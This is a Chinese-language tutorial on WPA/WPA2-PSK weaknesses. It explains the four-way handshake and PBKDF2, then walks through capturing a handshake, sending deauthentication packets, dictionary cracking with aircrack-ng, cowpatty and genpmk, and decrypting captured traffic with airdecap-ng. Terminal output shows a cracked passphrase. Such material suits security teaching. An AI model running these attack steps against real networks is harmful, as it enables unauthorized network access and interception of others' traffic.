WPA/WPA2加密分析

综述

WPA主要采用的是 临时密钥完整性协议(TKIP¹) 加密算法，TKIP 旨在改进WEP,且无需依赖全新硬件来运行;WPA2则强制使用AES-CCMP算法来进行加密，比TKIP更强大、更坚固。

WPA和WPA2支持两种身份验证机制：

1. 基于EAP的身份验证（采用RADIUS服务器）—> 企业
2. 基于预共享密钥（Pre-Shared Key,PSK）的身份验证—> 个人

WPA加密方式分析

WPA/WPA2 PSK极易为字典密码攻击–此种攻击需要的输入:
无线客户端与AP之间的4次WPA握手信息，以及常用密码攻击字典，之后利用aircrack-ng之类的工具。

申请者 无线AP 探测请求--响应（验证RR,关联RR） 预置共享密钥 256位（PSK） 预置共享密钥 256位（PSK） 消息1 无线AP随机数（A-Nonce） 临时密钥（PTK） 临时密钥（PTK） 消息2 申请者随机数（S-Nonce）+MIC 消息3 密钥安装 消息4 密钥安装确认 申请者 无线AP

WPA/WPA2 PSK 运作方式–>利用 PSK+5个参数来生成成对的临时密钥（PTK:Pairwise Transient Key）,然后利用该密钥进行加密无线AP与申请者之间的通话信道。

1. 网络的SSID
2. 无线AP随机数 A-Nonce(Authenticator Nonce)
3. 申请者随机数 S-Nonce(Supplicant Nonce)
4. 无线AP MAC 地址
5. 申请者MAC地址

通过wifi信道嗅探可以窃取整个会话过程中的所有5个参数，唯一不可获取的的仅为PSK
PSK生成：由用户提供的WPA-PSK密码外加SSID创建而成
WPA-PSK密码外加SSID都通过基于密码的密钥派生函数(Password-Based Key Derivation Function,PBKDF2)发送，该函数会输出一个256位的共享密钥² 。

密码字典攻击

攻击者利用攻击工具外加大型的密码字典进行攻击。攻击工具会根据每个密码派生出一个256位的PSK，并用其与之前提及的其他参数来创建PTK。PTK将用来验证是否与某个握手数据包中的 消息完整性检查（Message Integrity Check, MIC）匹配。若匹配，则根据密码字典猜测的密码是正确的;若不匹配，则猜测的密码是错误的。

Created with Raphaël 2.2.0 开始 密码（8-63位） PBKDF2(SSID) 256位预置共享密钥PSK‘ 申请者随机数 无线AP随机数 无线AP的MAC地址 申请者MAC地址 验证 MIC? 密码通过验证 yes no

破解WPA-PSK

同样适用于WPA2网络

airodump wlan0mon
airodump --bsssid ap_mac -c chanel -w ~/capture/ssid wlan0mon

# deauth数据包,若命令的输出中存在与信道相关的错误信息 --ignore-negative-one
aireplay-ng -0 10 -a ap_mac -c computer_mac wlan0mon --ignore-negative-one

aircrack-ng ~/capture/ssid*.cap -w /usr/share/wordlists/rock.txt
cowpatty -f /usr/share/wordlists/rockphone.txt -r capture/fast_966e-01.cap -s FAST_966E

wireshark

wireshark中打开airodump-ng工具中捕获的数据包.cap,用过滤表达式筛选并查看与WPA 4次握手相关的数据包。
WPA握手数据包所属的协议是EAPOL

kali自带的密码字典

cowpatty

cowpatty 4.8 - WPA-PSK dictionary attack. 
cowpatty: Must supply a pcap file with -r

Usage: cowpatty [options]

	-f 	Dictionary file
	-d 	Hash file (genpmk)
	-r 	Packet capture file
	-s 	Network SSID (enclose in quotes if SSID includes spaces)
	-c 	Check for valid 4-way frames, does not crack
	-h 	Print this help information and exit
	-v 	Print verbose information (more -v for more verbosity)
	-V 	Print program version and exit

root@yue:~# cowpatty -f /usr/share/wordlists/rockphone.txt -r capture/fast_966e-01.cap -s FAST_966E
cowpatty 4.8 - WPA-PSK dictionary attack. 

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack.  Please be patient.

The PSK is "186****1111".

1 passphrases tested in 0.01 seconds:  143.37 passphrases/second

加快WPA/WPA2 PSK

使用PSK密码及SSID，通过PBKDF2计算PSK，不但极为消耗CPU资源，而且还耗时。在输出256位PSK之前，该函数会将两者排列组合超过4096ci。下一步的破解涉及使用该密码以及四次握手中参数，并与握手中MIC进行比对验证。参数会随每次握手而异。
关键： 尽快根据密码计算PSK

通过预先计算PSK（也叫成对主密钥Pairwise Master Key:PMK）来加快破解进度

加快速度

1. 使用genpmk工具，针对特定的SSID和wordlist预先计算PMK。

root@yue:~/Pictures# genpmk
genpmk 1.3 - WPA-PSK precomputation attack. 
genpmk: Must specify a dictionary file with -f
Usage: genpmk [options]

	-f 	Dictionary file
	-d 	Output hash file
	-s 	Network SSID
	-h 	Print this help information and exit
	-v 	Print verbose information (more -v for more verbosity)
	-V 	Print program version and exit

After precomputing the hash file, run cowpatty with the -d argument.
# genpmk -f password.lst.txt -d output_pmk.lst -s ap_ssid 

生成output_pmk.lst文件
2. 利用cowpatty进行破解

# cowpatty -d out_pmk.lst -s ap_ssid -r ~/capture/ap_ssid*.cap

解密WPA数据包

root@yue:~/Pictures# airdecap-ng --help

  Airdecap-ng 1.5.2  - (C) 2006-2018 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: airdecap-ng [options] 

  Common options:
      -l         : don't remove the 802.11 header
      -b  : access point MAC address filter
      -e  : target network SSID
      -o  : output file for decrypted packets (default -dec)

  WEP specific option:
      -w    : target network WEP key in hex
      -c  : output file for corrupted WEP packets (default -bad)

  WPA specific options:
      -p   : target network WPA passphrase
      -k    : WPA Pairwise Master Key in hex

      --help     : Displays this usage screen
root@yue:~/Pictures# airdecap-ng -p 186****1111 -e FAST_966E  ~/capture/fast_966e-01.cap 
Total number of stations seen            4
Total number of packets read         11843
Total number of WEP data packets         0
Total number of WPA data packets       906
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets       376
Number of bad TKIP (WPA) packets         0

解密后生成的文件为：

-rw-r--r--  1 root root  25250 Jan  4 20:44 fast_966e-01-dec.cap

---

1. 临时密钥完整性协议(TKIP): Temporal Key Integrity Protocol ↩︎

2. The combination of both of these is sent through the Password-Based Key Derivation Function, which outputs the 256-bit shared key. ↩︎